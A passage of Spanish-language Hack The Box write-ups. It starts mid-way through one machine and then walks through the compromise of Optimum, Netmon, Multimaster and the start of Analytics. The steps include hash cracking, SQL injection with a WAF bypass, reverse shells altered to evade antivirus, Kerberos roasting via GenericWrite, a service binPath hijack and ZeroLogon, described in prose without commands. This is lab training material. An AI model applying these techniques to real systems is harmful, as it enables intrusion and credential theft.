Verificamos que tal y como había indicado el usuario, se trata de una parte de la configuración del router Cisco del usuario.
Entre la información que podemos rescatar, nos encontramos con un enable secret
y dos contraseñas de los usuarios rout3r y admin.
Întentaremos crackear el hash de la contraseña de enable secret que encontramos. Nos encontramso que se trata de un hash de Cisco, con lo cual nos confirma que se trata de la contraseña del router Cisco que mencionaba.
Al ejecutar la herramiente de hashcat
, logramos crackear el hash y obtener la contraseña en texto plano.
Por otro lado, nos queda crackear los hashes de las contraseñas de los usuarios rout3r y admin. Este tipo de hash se trata de una contraseña de Cisco Encriptada.
Realizando una búsqueda por Internet nos encontramos con la siguiente web en la cual nos explican como diferenciar los diferentes tipos de Cisco Passwords que existen.
En este caso, nos indica que nuestra contraseña encriptada, se encuentra encriptada en el algoritmo 7 de Cisco.
Buscando en Internet cómo podemos desencriptar esta contraseña de Cisco Password 7, nos encontramos con el siguiente blog de la página de Cisco en la cual un usuario menciona un sitio web dónde podremos utilizarlo para desencriptar la contraseña.
Al acceder al sitio web, ingresamos la contraseña y procedemos a crackearla. Logramos obtener la contraseña en texto plano.
Realizaremos el mismo proceso con la última contraseña que nos queda, también logramos obtener las credenciales válidas.
Dispnemos del siguiente listado de usuarios y contraseñas que hemos encontrado anteriormente.
A través de la herramienta de nxc realizaremos fuerza bruta para verificar si alguna de las credenciales son válidas para algún usuario. Logramos validar las credenciales del usuario hazard
.
A través de las credenciales de hazard
, realizaremos un RID Cycling Attack para lograr obtener más usuarios válidos del equipo. En este caso, logramos obtener más nombres de usuarios.
Guardaremos estos nuevos usuarios encontrados en el archivo users.txt
, volveremos a lanzar un ataque de fuerza bruta para validar si alguno de estos nuevos usuarios dispone de alguna contraseña válida del listado que tenemos.
Logramos verificar las credenciales del usuario chase
.
En la enumeración de Nmap, verificamos que el WinRM se encontraba abierto. Por lo tanto, probaremos de validar si a través del usuario chase
podemos conectarnos al equipo.
Verificamos que disponemos de los permisos adecuados, nos conectaremos al equipo y visualizaremos la flag de user.txt.
Revisando los procesos que se encuentran en ejecución, nos encontramos que existen varios de ellos que son del navegador Firefox, un tanto inusual.
A través de la herramienta de ProcDump
de Sysinternals
, lo que realizaremos es un volcado de memoria del proceso de Firefox para disponer y verificar la información del proceso.
Nos descargaremos el archivo comprimido Procdum.zip
de la página oficial de Sysinternals
. Una vez descomprimido, levantaremos un servidor web para compartir el archivo.
Desde el equipo víctima, nos descargaremos el binario de ProcDump64.exe
.
Realizaremos un volcado de memoria sobre el proceso de Firefox y nos descargaremos el volcado de memoria realizado.
Hay que realizar el volcado de memoria del proceso de Firefox que esté consumiendo más procesos, en nuestr caso era el 6716.
Revisaremos el volcado de memoria que disponemos en nustro equipo local, filtraremos por los campos que nos interesen y al parecer hemos logrado encontrar en el volcado de memoria lo que parecen ser las credenciales del usuario Admninistrator
.
Validaremos si son las credenciales válidas, al verificar el acceso, nos conectaremos mediante evil-winrm
y lograremos visualizar la flag de root.txt.
Optimum
es una máquina de nivel principiante que se centra principalmente en la enumeración de servicios con exploits conocidos. Ambos exploits son fáciles de obtener y tienen módulos Metasploit asociados, lo que hace que esta máquina sea bastante sencilla de completar.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Optimum. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Accederemos a http://10.10:10.8 y comprobaremos que se trata de HttpFileServer 2.3
.
A través de la herramienta de searchsploit
, buscaremos vulnerabilidades sobre esta versión de HFS
. Nos encontramos con varias vulnerabilidades que nos permitirían ejecutar comandos arbitrarios en el equipo víctima.
Nos quedaremos con el exploit de windows/remote/49584.py
, el cual copiaremos al directorio actual.
Editaremos el archivo e indicaremos nuestra dirección IP, el puerto donde estaremos en escucha. También deberemos informar el equipo víctima y el puerto donde está levantado el HFS
.
Ejecutaremos el exploit, y comprobaremos que ganamos acceso al equipo víctima sin problemas.
Por otro lado, también nos encontramos con el siguiente exploit que probaremos también si podemos abusar de él. Nos copiaremos el exploit de windows/remote/39161.py
en nuestro directorio actual de trabajo.
Editaremos el exploit para indicar nuestra dirección IP de atacante y el puerto donde estaremos en escucha.
Para que funcione el exploit, deberemos de disponer del binario de nc.exe
en nuestro equipo. Esto debido que el exploit lo que realiza es subir nuestro binario al equipo víctima y luego proporcionarnos una Reverse Shell.
Compartiremos el binario a través de un servidor web.
En otra terminal nos pondremos en escucha para recibir la Reverse Shell.
Ejecutaremos dos veces el exploit indicándole la dirección IP objetivo y el puerto en donde se encuentra el HFS
levantado.
Verificaremos que ganamos acceso al equipo y podemos visualizar la flag de user.txt.
Revisaremos la información del equipo en el cual nos encontramos. Verificamos que se trata de un Windows Server 2012 R2 Standard
.
Nos copiaremos el contenido del systeminfo
en nuestro equipo local en un archivo llamado systeminfo.txt
.
A través de la herramienta de windows-exploit-suggester
, buscaremos alguna vía potencial para escalar nuestros privilegios en base al systeminfo
que le hemos indicado.
En el resultado obtenido, verificamos diferentes vulnerabilidades que se pueden realizar en el sistema.
Revisando los exploits y vulnerabilidades que se nos proporcionaba, nos encontramos con la siguiente MS16-098
.
Revisando el contenido, nos encontramos con el ID del exploit, 41020.
Buscaremos en el repositorio de ExploitDB
sobre el binario del exploit. Buscaremos por el ID de la vulnerabilidad y nos descargaremos el binario que nos ofrecen.
Revisaremos que disponemos del binario en nuestro equipo, lo renombraremos y compartiremos a través de un servidor web.
Desde el equipo víctima, nos descargaremos el binario para realizar la explotación.
Una vez subido el binario, al ejecutarlo verificamos que nos hemos convertiro en usuario NT AUTHORITY\SYSTEM
y visualizar la flag de root.txt.
Netmon
es un sistema operativo Windows de fácil manejo con enumeración y explotación sencillas. PRTG se está ejecutando y un servidor FTP con acceso anónimo permite leer los archivos de configuración de PRTG Network Monitor. La versión de PRTG es vulnerable a RCE, que puede explotarse para obtener un shell SYSTEM.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Netmon. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Buscaremos si existen credenciales por defecto, nos encontramos con el siguiente blog el cual mencionan cuáles son las credenciales que se utiliza en la configuración por defecto.
Al probar de acceder con las credenciales por defecto prtgadmin/prtgadmin
, nos indica que no son correctas las credenciales proporcionadas.
En el escaneo de Nmap, comprobamos que el servicio FTP se encontraba expuesto y que tenía permitido el usuario Anonymous
para acceder a él.
Probaremos de acceder y comprobamos que al parecer nos encontramos en el directorio del sistema, un tanto inusual en un FTP.
Dado que nos encontramos en el directorio del sistema del equipo víctima, decidimos probar si podíamos llegar a listar algún archivo de configuración o de backup del sitio web de PRTG Network Monitor.
Nos encontramos con el siguiente blog en el cual mencionan donde PRTG
almacena sus datos.
Entre la información que se nos proporciona en el blog mencionado, el que parece interesarnos es el siguiente, en el cual almacenan los datos de la aplicación.
Probaremos de acceder a la ruta mencionada y comprobamos que logramos acceder y visualizar varia información del PRTG
.
Entre la información y datos que encontramos, nos llamó la atención un archivo con extensión .bak
que parece ser un backup del archivo de configuración antiguo. Nos lo descargaremos en nuestro equipo para analizar el archivo.
Analizaremos el archivo y filtraremos por el nombre de usuario que utiliza por defecto PRTG
, logramos encontrar lo que parecen ser unas credenciuales de acceso.
Probamos de acceder al panel de PRTG
con las credenciales de prtgadmin/PrTg@dmin2018
, pero no logramos obtener el acceso que esperábamos.
Pensando que se trataba de un archivo antiguo de backup, pensamos que esta contraseña se trataba de la antigua, por lo tanto, decidimos probar si con las credenciales PrTg@dmin2019
podíamos acceder al panel. Efectivamente las nuevas credenciales si nos proporcionaron el aceso.
Esto es una mala praxis en empresas, de modificar la contraseña modificándole un carácter solamente.
Verificando la versión de la aplicación de PRTG, nos encontramos que se trata de la versión 18.1.37.13946.
Buscando en internet sobre vulnerabilidades de esa versión del software, nos encontraamos con el siguiente CVE-2018-9276
.
Se ha descubierto un problema en PRTG Network Monitor en versiones anteriores a la 18.2.39. Un atacante que tenga acceso a la consola web de administrador del sistema PRTG puede explotar una vulnerabilidad de inyección de comandos del sistema operativo (tanto en el servidor como en los dispositivos) enviando parámetros mal formados en escenarios de gestión de sensores o notificaciones.
Por otro lado, nos encontramos con el siguiente repositorio con el exploit para aprovecharnos y abusar de esta vulnerabilidad.
Nos descargaremos el proyecto de GitHub del exploit.
Realizaremos la explotación, indicaremos la dirección IP de la máquina víctima, nuestra dirección IP y el puerto donde estaremos en escucha y le especificaremos las credenciales de acceso al PRTG Network Monitor
.
Al realizar la explotación, verificamos que logramos obtener acceso al sistema víctima y en este caso disponemos de acceso como usuario NT AUTHORITY\SYSTEM
.
Logramos visualizar las flags de user.txt y root.txt.
Multimaster
es una máquina Windows de una dificultad increíble que presenta una aplicación web que es vulnerable a la inyección SQL. Esta vulnerabilidad se aprovecha para obtener un punto de apoyo en el servidor.
El examen del sistema de archivos revela que está instalada una versión vulnerable de VS Code y se encuentran procesos de VS Code ejecutándose en el servidor.Al explotar la función de depuración, se puede obtener un shell como el usuario cyork
. Se encuentra una contraseña en una DLL, que debido a la reutilización de contraseñas, da como resultado un shell como sbauer
.
Se descubre que este usuario tiene permisos GenericWrite
sobre el usuario jorden
. Abusar de este privilegio nos permite obtener acceso al servidor como este usuario. jorden
es miembro del grupo Operadores de servidor
, cuyos privilegios explotamos para obtener un shell de SISTEMA.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Multimaster. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos a través del resultado obtenido de que la máquina se trata de un Domain Controller (DC) por los puertos y servicios que se encuentran expuestos.
Procederemos a transformar el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
A través de la herramienta de netexec
y ldapsearch
procederemos a enumerar el equipo para localizar más información. Entre la información obtenida, verificamos el hostname
, versión del SO y el nombre del dominio.
Procederemos a añadir en nuestro archivo /etc/hosts
las entradas correspondientes para que a la hora de hacer referencia al dominio o el equipo nos responda correctamente a la dirección IP del equipo.
Procederemos a realizar una enumeración sobre el sitio web que hemos encontrado expuesto en el puerto 80. La página principal al principal dispone de varias secciones que deberemos explorar para verificar
Una de las primeras acciones a realizar, será verificar las tecnologías y frameworks que utiliza la aplicación web, esto lo podremos realizar a través del Add-on de Wappalyzer
. Entre la información recopilada, podemos verificar que hay un Windows Server como sistema operativo que levanta la aplicación web, utiliza un IIS (Internet Information Services).
Toda esta información hay que contrastarla con otras herramientas para verificar que la información sea válida.
Otra de las herramientas para verificar las tecnologías que utiliza una aplicación web es la herramienta de whatweb
.
Enviaremos la solicitud al BurpSuite
para analizar como funciona la solicitud que se realiza y la respuesta que se recibe. Verificamos que la respuesta que nos muestra se encuentra en formato JSON.
Por lo tanto, tenemos una vía potencial para enumerar usuarios que parecen formar parte del dominio.
Le daremos permisos de ejecución al script creado y procederemos a ejecutarlo, verificamos que ha logrado encontrar los siguientes correos electrónicos en la página web. Estos correos electrónicos deberemos de guardarlo en un archivo por ejemplousers.txt
.
Procederemos a trabajar con el archivo users.txt
para solamente quedarnos con la parte del nombre de usuario que es lo que realmente nos interesa.
Dado que el DC dispone del puerto 88 (Kerberos) expuesto, podemos validar a través de la herramienta de kerbrute
el listado de usuarios que disponemos actualmente para verificar cuáles de ellos son válidos a nivel de dominio.
En el resultado obtenido, verificamos que de los 17 usuarios que disponíamos solamente 14 usuarios son válidos a nivel de usuarios del dominio.
En la solicitud enviada en el BurpSuite
, probamos de añadirle una '
a la query para verificar si es vulnerable a SQL Injection. Verificamos que en la respuesta por parte del servidor recibimos un mensaje de 403 - Forbidden: Access is denied.
Lo que podemos pensar es que detrás del servidor web se encuentra un WAF (Web Application Firewall) que posiblemente nos bloquee estos intentos de inyección SQL.
Realizando una investigación por Internet, nos encontramos con el siguiente blog que nos explica como intentar realizar un Bypass a las SQLI sobre los resultados JSON a través de realizar un encode de la inyección en formato Unicode Escape
.
En este caso, utilizaremos Cyberchef
de manera local para lograr mayor privacidad y no utilizar la versión web. Estableceremos que utilice el Escape Unicode Characters
y le asignaré que realice el encode sobre '
. Verificamos que el resultado obtenido del encode es --> \u0027
.
Al enviar la solicitud con la '
encodeada, verificamos que no nos muestra un mensaje de Access Denied
, en este caso simplemente desaparece el resultado de la respuesta por parte del servidor, lo cual podríamos llegar a intentar realizar la explotación del SQLI a través de encodear las inyecciones SQL en formato Escape Unicode Characters
.
El primer paso a realizar en una inyeccción SQLI es determinar el número total de columnas que dispone la BBDD para posteriormente inyectar correctamente nuestros payloads.
Deberemos a partir de ahora, encodear toda nuestra inyección SQL en el formato anteriormente indicado para lograr realizar el Bypass del supuesto WAF que nos bloqueaba las inyecciones.
En este caso al intentar probar nuestra inyección para determinar si la BBDD dispone de 4 columnas, verificamos que el resultado que nos muestra es null
, lo cual podemos verificar que el número de columnas no es correcto.
En intentar realizar la siguiente inyección SQL, verificamos que la BBDD dispone de 5 columnas en total y en la respuesta por parte del servidor nos muestra los números del 2 al 5, por lo tanto, podríamos llegar a inyectar nuestros payloads de SQLI en cualquiera de los campos mencionados.
Una de las primeras inyecciones a realizar, será lograr a determinar la versión exacta de la BBDD y el nombre de la base de datos que se está utilizando actualmente.
Por el resultado obtenido, verificamos que nos enfrentamos ante un Microsoft SQL Server (MSSQL) 2017
y la base de datos que está actualmente en uso se llamada Hub_DB
.
A través de la siguiente inyección SQL, verificaremos el nombre de las bases de datos existentes en el servidor SQL. Verificamos que de las 5 BBDDs que hemos encontrado las cuatro primeras se tratan de BBDDs que vienen por defecto en MSSQL, en cambio, la BBDD nombrada Hub_DB
no es una base de datos común, deberíamos investigar sobre esta misma.
Revisaremos los nombres de las tablas de la base de datos Hub_DB
, en este caso verificamos que nos muestra dos tablas. De las dos tablas mencionadas, la que nos llama más la atención es la mencionada Logins
.
Procederemos a investigar más sobre tabla Logins
y verificaremos el nombre de las columnas que dispone esta table. En el resultado obtenido nos llama la atención las columnas existentes, parecen almacenar usuarios y contraseñas.
Al revisar las columnas username
y password
, verificamos que en la respuesta recibida por parte del servidor nos muestran usuarios y lo que parece ser contraseñas hasheadas que posteriormente podríamos intentar crackear.
Almacenaremos todo el resultado JSON obtenido para guardarlo en un archivo TXT. Trabajaremos con el archivo TXT para quedarnos con los nombres de usuarios y contraseñas y almacenarlos en dos archivos correspondientes.
Al revisar los hashes obtenidos, pensamos en primera instancia dada a la longitud del hash, parecía un tipo de hash SHA-384. Cuando ejecutamos hashcat
con -m 10800
para SHA-384
con rockyou.txt
, no se llegó a crackear nada.
Hay otros dos formatos en la página de hashes de ejemplo de Hashcat: SHA3-384 (-m 17500)
y Keccak-384 (-m 17900)
. Cuando ejecutamos este último, obtuvimos los siguientes resultados:
Una vez obtenida esas 3 credenciales en texto plano, procederemos a realizar unPassword Spraying para validar si estas credenciales son válidas para el listado de usuarios del dominio que disponemos. Verificamos que en este caso, no obtenemos ningunas credenciales válidas.
Buscando más información sobre maneras de explotar un MSSQL, nos encontramos con el siguiente blog que nos indica como podemos intentar explotar este servicio para enumerar usuarios del Active Directory (AD) a través de inyecciones SQL para enumerar usuarios a través del Relative ID (RID).
El primer paso a realizar para revisar si podemos explotar esta vulnerabilidad es buscar el nombre del domain (domain name
). En el caso de que no conozcamos el nombre de dominio, a través de la siguiente inyección SQL podemos identificar el nombre del dominio. Tenemos que previamente haber determinado la cantidad de columnas, tipo de columnas y saber que es inyectable a SQLi.
Verificamos que al enviar la solicitud, nos proporciona que el domain name
es MEGACORP
.
El siguiente paso a realizar es averiguar el Security ID (SID) del dominio. Así que una vez obtenido el nombre del dominio, el siguiente paso será inyectar la siguiente consulta utilizando una cuenta o un grupo integrado conocidos (en este ejemplo se utiliza la cuenta del usuario Administrator) para obtener el valir del SID.
En este caso el formato que nos devuelve en la respuesta, es el SID en formato hexadecimal que posteriormente podremos descodificar para obtener el valor en texto plano.
Hemos creado el siguiente script en Python que lo que realiza es convertir el SID que se encuentra en hexadecimal en el texto original.
Al ejecutar el script y pasarle el SID en formato hexadecimal, nos devolverá el valor original del SID.
Siguiendo el contenido del blog sobre la enumeración de usuarios a través de ataques de RID Cycling Attack a través de inyecciones en MSSQL, nos proporciona la siguiente herramienta para explotar y enumerar a los usuarios a través del RID.
Deberemos de almacenar en un archivo la solicitud POST que se envía desde BurpSuite
que la necesitaremos para utilizar la herramienta.
Procederemos a realizar la explotación con la herramienta de mssqli-duet.py
, en ella deberemos de especificar el parámetro vulnerable, en nuestro caso name
, estableceremos que la inyección sea a'
la cual la codificaremos en unicode
.
Utilizaremos el archivo request.txt
que es el que contiene la solicitud POST que hemos guardado, especificaremos en este caso que haga el RID Cycling Attack del 1000 al 1200 y se realice las solicitudes cada 3 segundos para evitar ser detectados.
En el resultado obtenido verificamos que hemos logrado obtener a 4 usuarios más que forman parte del dominio.
También hemos creado el siguiente script en Python que cumple el mismo funcionamiento.
Al proceder a ejecutar el script creado, revisaremos que nos muestra nombres de usuarios y lo que parecen ser grupos de seguridad.
Guardaremos estos nuevos usuarios en el archivo que disponíamos users.txt
y procederemos a intentar validar nuevamente a través de Password Spraying. Verificamos que hemos logrado obtener credenciales válidas para el usuario tushikikatomo@megacorp.local
.
Al obtener credenciales válidas de un usuario del dominio, procederemos a realizar un dump del LDAP para obtener más información relevante.
Al revisar los archivos HTML generados por la herramienta de ldapdomaindump
, verificamos todos los nombres de usuario del dominio existentes.
Por otro lado, revisando el grupo Remote Management Users
, verificamos que el usuario que disponemos actualmente forma parte de dicho grupo, por lo tanto, si el servicio WinRM o RDP se encuentran habilitados podríamos conectarnos al equipo.
Procederemos a autenticarnos al WinRM mediante la herramienta de evil-winrm
y verificamos el correcto acceso y la flag de user.txt.
Revisando los directorios donde está montado el IIS (Internet Information Services) verificamos que no disponemos de acceso al directorio wwwroot
.
Revisando las aplicaciones que se encuentran instaladas, verificamos que en la máquina se encuentra instalado la aplicación de Microsoft Visual Studio Code
.
Revisando la versión del Microsoft VS Code
que se encuentra instalada en el equipo, verificamos que se trata de una versión vulnerable al Remote Code Execution (CVE-2019-1414
).
Revisando los procesos que se encuentran en ejecución, verificamos que hay procesos sobre la aplicación en funcionamiento, por lo que podríamos llegar a pensar que hay alguien ejecutando estos procesos.
Esta es la descripción del CVE que hemos encontrado, se aprovecha del debug listener
para lograr ejecutar comandos y escalar privilegios.
Por lo tanto, procederemos a descargarnos el binario de cefdebug.exe
del siguiente repositorio de GitHub.
Una vez tengamos el binario en nuestro equipo atacante, procederemos a levantar un servidor web con Python para compartir este archivo al equipo víctima.
Desde el equipo víctima (Windows), procederemos a descargarnos el binario de cefdebug.exe
y lo depositaremos en la siguiente ruta C:\Windows\System32\spool\drivers\color
para que el AppLocker no nos impida ejecutarlo.
Por otro lado, lo que probaremos primero de todo es revisar si desde el equipo víctima nos podemos establecer una Reverse Shell con los scripts de Nishang. En este caso, el script que utilizaremos es el de Invoke-PowerShellTcp.ps1
.
En una terminal de nuestro equipo atacante, nos pondremos en escucha para recibir la Reverse Shell.
Renombraremos el archivo Invoke-PowerShellTcp.ps1
a rev.ps1
para que nos sea más cómodo trabajar con este archivo y que pase más desapercibido por el AV (Antivirus).
Deberemos de editar el script y añadir al final de este mismo, la línea que nos permite realizar la Reverse Shell, la adaptaremos con nuestra dirección IP de atacante y el puerto por donde nos encontramos en escucha con nc
.
Volveremos nuevamente a levantar un servidor web con Python para compartir este archivo con la máquina víctima.
Desde la máquina comprometida, procederemos a ejecutar en memoria la Reverse Shell que estamos compartiendo desde nuestro servidor web. Verificamos que el script ha sido detectado por el AV (Antivirus) y nos lo ha bloqueado.
Para intentar evitar que nos detecte el AV el script de la Reverse Shell, procederemos a modificar el archivo que disponemos rev.ps1
para eliminarle las líneas donde hay comentarios y a modificar el nombre de la función para que no sea detectado. Deberemos de cambiar el nombre de la función de la primera y última sentencia por una nueva que pase desapercibida.
Una vez modificado el script rev.ps1
, procederemos a ejecutar en memoria nuevamente el Script y en este caso verificamos que hemos logrado obtener la Reverse Shell correctamente.
Por otro lado, para que sea menos detectable la ejecución del IEX para obtener la Reverse Shell, lo que realizaremos es codificar en Base64 de Windows el comando utilizado.
Desde el equipo víctima, procederemos a ejecutar en una PowerShell el comando codificado en Base64.
Verificaremos nuevamente que nos funciona correctamente la ejecución del IEX codificado en Base64.
Una vez comprobado que podemos establecernos una Reverse Shell a través de un comando codificado en Base64, el siguiente paso será intentar realizar la explotación del CVE encontrado.
El primer paso será ejecutar el cef.exe
(cefdebug) para realizar un escaneo de la máquina y verificar los servidores que se encuentran abiertos que parecen ser CEF debuggers
.
Con el servidor obtenido, procederemos a realizar una ejecución del comando whoami
para almacenar el resultado de la ejecución del comando realizado en un archivo TXT y visualizar si hemos logrado ejecutar comandos arbitrarios.
Al verificar el TXT que se nos ha generado, verificamos que el resultado del comando utilizado nos muestra que quien ejecuta el comando es el usuario cyork@megacorp.local
.
Sabiendo que quien ejecuta los comandos es otro usuario, la idea será lograr ejecutar una Reverse Shell para obtener acceso como el usuario recién mencionado. Utilizaremos el servidor que hemos encontrado y al ejecutar en una PowerShell el comando IEX anteriormente codificado en Base64 para que a la hora de ejecutar el comando sea descodificado y así lograr obtener la Reverse Shell.
Previamente de la ejecución del comando, deberemos de ponernos en escucha con nc
en nuestra Kali.
Verificamos que hemos logrado obtener acceso correctamente como el usuario cyork@megacorp.local
.
Revisando los privilegios, permisos que disponemos con el usuario cyork
, verificamos que disponemos acceso del directorio C:\inetpub\wwwroot\bin
en la cual después de una gran revisión verificamos que al parecer hay un DLL nombrado MultimasterAPI.dll
.
Este DLL se trata de una API (Application Programming Interface) personalizada de la página web del equipo. Como en máquinas de HTB anteriores, los archivos DLL suelen tener información sensible.
Para compartirnos este archivo de la máquina víctima a nuestra máquina local, desde esta última procederemos a levantar un servidor SMB con smbserver.py
.
Al tener nuestro servidor SMB montado, procederemos a realizar una copia al servidor SMB que disponemos.
Verificamos en nuestro equipo local que disponemos del archivo DLL correctamente transferido.
Procederemos a depurar el archivo DLL a través de la herramienta de dnSpy
que podemos encontrar en el siguiente repositorio de GitHub. En este caso, hemos transferido el archivo en una VM de Windows para realizar el análisis.
Al realizar una enumeración del DLL, revisamos que aparece en texto plano las siguientes credenciales D3veL0pM3nT!
.
Al realizar un Password Spraying sobre la contraseña encontrada y el listado de usuarios del dominio que disponemos, verificamos que esta
A continuación, procederemos a realizar una enumeración del dominio entero a través de BloodHound
. El siguiente comando nos creará un archivo .zip
el cual contendrá toda la información del dominio. Lo que buscamos en realizar esta enumeración es buscar posibles vectores de ataque para escalar nuestros privilegios.
Revisando en BloodHound
, verificamos que solamente el usuario Administrator
es un Domain Admin
.
Revisando si existe algún usuario que sea susceptible a Kerberoasting Attack, es decir, aquellos usuarios que tengan un SPN (ServicePrincipalName) para solicitar posteriormente un TGS (Ticket Granting Service).
En este caso, verificamos que no hay ningún usuario que sea Kerberostable.
Al verificar si algún usuario dispone de la flag (DONT_REQ_PREAUTH) de Kerberos para realizar un AS-REP Roast Attack y así lograr obtener un TGT (Ticket Granting Ticket), verificamos que ningún usuario tiene configurado esa opción.
Enumerando a través de BloodHound
, verificamos que el usuario que disponemos actualmente sbauer@megacorp.local
dispone de privilegios GenericWrite
sobre el usuario jorden@megacorp.local
.
Este permiso lo que nos permite es la habilidad de escribir en atributos no protegidos sobre el objeto objetivo. Por ejemplo, podemos asignarle la flag de (DONT_REQ_PREAUTH) para que el usuario objetivo sea susceptible al AS-REP Roast Attack o asignarle un SPN (ServicePrincipalName) fícticio para que el usuario sea Kerberostable y obtener el TGS (Ticket Granting Service) para obtener el hash y posteriormente crackearlo.
En esta primera sección, lo que realizaremos es asignarle un SPN (ServicePrincipalName) ficticio al usuario objetivo jorden@megacorp.local
para obtener el TGS (Ticket Granting Service), es decir, un hash que posteriormente podremos intentar crackear de manera offline y obtener la contraseña en texto plano.
Tal como habíamos verificado en la enumeración de BloodHound
, no había ningún usuario que sea Kerberostable. Esto lo hemos podido comprobar nuevamente tal y como nos indica el resultado del ataque de Kerberoasting Attack realizado.
Para realizar la explotación y abusar del privilegio GenericWrite
sobre el usuario y asignarle un SPN ficticio, lo podremos hacer a través de las herramientas bloodyAD
y impacket-GetUserSPNs
.
A través del primer comando, lo que realizamos es asignarle un SPN (ServicePrincipalName) ficticio al usuario. Al volver a lanzar el ataque de Kerberoasting Attack, verificamos que ahora si nos aparece que haya un usuario Kerberoastable y nos devuelve el hash TGS (Ticket Granting Service).
Otra de las herramientas para realizar este tipo de ataques de asignar un SPN ficticio a un usuario el cual dispongamos de privilegios, es a través de la herramienta de targetedKerberoast
.
Esta herramienta automatiza el ataque de Kerberoasting Attack, solamente nos hace falta disponer de un usuario que tenga privilegios sobre otro para asignarle el SPN y la propia herramienta buscará a los usuarios objetivos, les asignará un SPN ficticio y nos imprimirá los hashes obtenidos.
Para finalizar, la propia herramienta eliminará el SPN temporal asignado a los usuarios objetivos para evitar dejar rastro.
En la siguiente sección, lo que realizaremos es asignar al usuario objetivo jorden@megacorp.local
la flag (DONT_REQ_PREAUTH) de Kerberos para que sea susceptible a AS-REP Roast Attack para obtener un TGT (Ticket Granting Ticket). Es decir, si logramos asignarle esa opción al usuario, recibiremos un hash que posteriormente podremos intentar crackear de manera offline y obtener la contraseña en texto plano.
Tal como se nos indicaba en BloodHound
, ninguno de los usuarios del dominio tenian asignado esa flag, eso lo hemos verificado nuevamente al realizar el ataque de AS-REP Roast Attack.
A través de la herramienta de bloodyAD
procederemos a asignarle la flag de (DONT_REQ_PREAUTH) al usuario jorden@megacorp.local
. Al asignarle esa flag y realizar nuevamente el ataque, verificamos que recibimos el hash TGT (Ticket Granting Ticket).
Procederemos a crackear con hashcat
cualquiera de los dos hashes obtenidos TGT/TGS. Verifiamos que hemos logrado obtener la contraseña en texto plano.
Verificaremos nuevamente que las credenciales obtenidas sean válidas y que nos podamos conectar al equipo mediante evil-winrm
ya que el usuario forma parte del grupo Remote Management Users
.
Revisando los permiso/grupos del usuario que disponemos actualmente jorden@megacorp.local
revisamos que el usuario foma parte del grupo SERVER OPERATORS@megacorp.local
.
El grupo Server Operators
es un grupo de seguridad integrado en los entornos de Windows Server. A los miembros de este grupo se les otorgan privilegios administrativos específicos que les permiten realizar tareas relacionadas con el servidor sin tener derechos administrativos completos. Este grupo está diseñado principalmente para la administración delegada del servidor. Privilegios clave de los operadores de servidor
Los miembros del grupo Operadores de servidor tienen los siguientes privilegios:
Iniciar y detener servicios:
Pueden iniciar, detener y pausar servicios en el servidor, lo que es crucial para el mantenimiento y la resolución de problemas del servidor.
Administrar recursos compartidos:
Los operadores de servidor pueden crear, modificar y eliminar carpetas compartidas y administrar recursos compartidos de impresoras, lo que les permite administrar recursos compartidos de manera eficaz.
Operaciones de copia de seguridad y restauración:
Los miembros pueden realizar copias de seguridad de archivos y restaurar archivos a partir de copias de seguridad, lo que facilita la administración de los procesos de recuperación de datos.
Iniciar sesión localmente:
Los miembros tienen la capacidad de iniciar sesión localmente en el servidor, lo que les permite administrar directamente el servidor a través de su consola.
Administrar usuarios y grupos locales:
Pueden agregar o eliminar usuarios de grupos locales y administrar cuentas locales, lo que es importante para las tareas de administración de usuarios.
Hemos conseguido más información de lo que trata esta escalada de privilegios desde el siguiente blog donde se detalla la explotación.
Desde el equipo procederemos a revisar los servicios que se encuentran en ejecución.
Después de revisar los servicios que se encuentran en ejecución, el siguiente paso será subir al equipo víctima el binario nc.exe
para posteriormente aprovechar de que formamos parte de este grupo, para modificar el binPath
del servicio e indicarle que la ruta del servicio es la ejecución de una Reverse Shell utilizando el binario subido de nc.exe
.
Verificamos que logramos modificar correctamente el binPath
del servicio VMTools
, también podemos utilizar el servicio browser
.
En una terminal nos pondremos en escucha por el puerto especificado en el punto anterior.
Volveremos a la terminal del equipo víctima y procederemos a parar y volver a iniciar el servicio el cual hemos modificado el binPath
para que ejecute la Reverse Shell.
Verificamos que al volver a iniciar el servicio, hemos logrado obtener conexión a través de la Reverse Shell, en este caso, el usuario que arranca el servicio es el usuario NT AUTHORITY\SYSTEM
, lo cual tenemos control total sobre el equipo.
Durante el análisis realizado, descubrimos que el Domain Controller es vulnerable al exploit ZeroLogon
(CVE-2020-1472)
. Esta vulnerabilidad permite comprometer la seguridad del dominio y elevar privilegios al manipular las credenciales y las conexiones SMB.
Nos descargaremos el siguiente repositorio en nuestro equipo atacante para explotar la vulnerabilidad.
En el PoC del exploit de ZeroLogon, verificamos el uso de la herramienta.
Al realizar la explotación del CVE, lo que realiza esta vulnerabiliadd es dejar las credenciales del Domain Controller (DC) vacías.
Por lo tanto, al proceder a realizar un DCSync Attack con la cuenta del DC sin indicarle credenciales, obtenemos los hashes NTLM de todo el dominio.
Esto compromete gravemente la seguridad, debido que disponemos del acceso a cualquier usuario haciendo ataques como Pass-The-Hash.
Al realizar un dump del NTDS.dit
, verificaremos que podemos realizar Pass-The-Hash con el usuario Administrator
y conectarnos a través de la herramienta wmiexec.py
.
Analytics
es una máquina Linux de dificultad fácil con servicios HTTP y SSH expuestos. La enumeración del sitio web revela una instancia de Metabase
, que es vulnerable a la ejecución remota de código de autenticación previa ([CVE-2023-38646](https://nvd.nist.gov/vuln/detail/CVE-2023-38646)
), que se aprovecha para obtener un punto de apoyo dentro de un contenedor Docker.
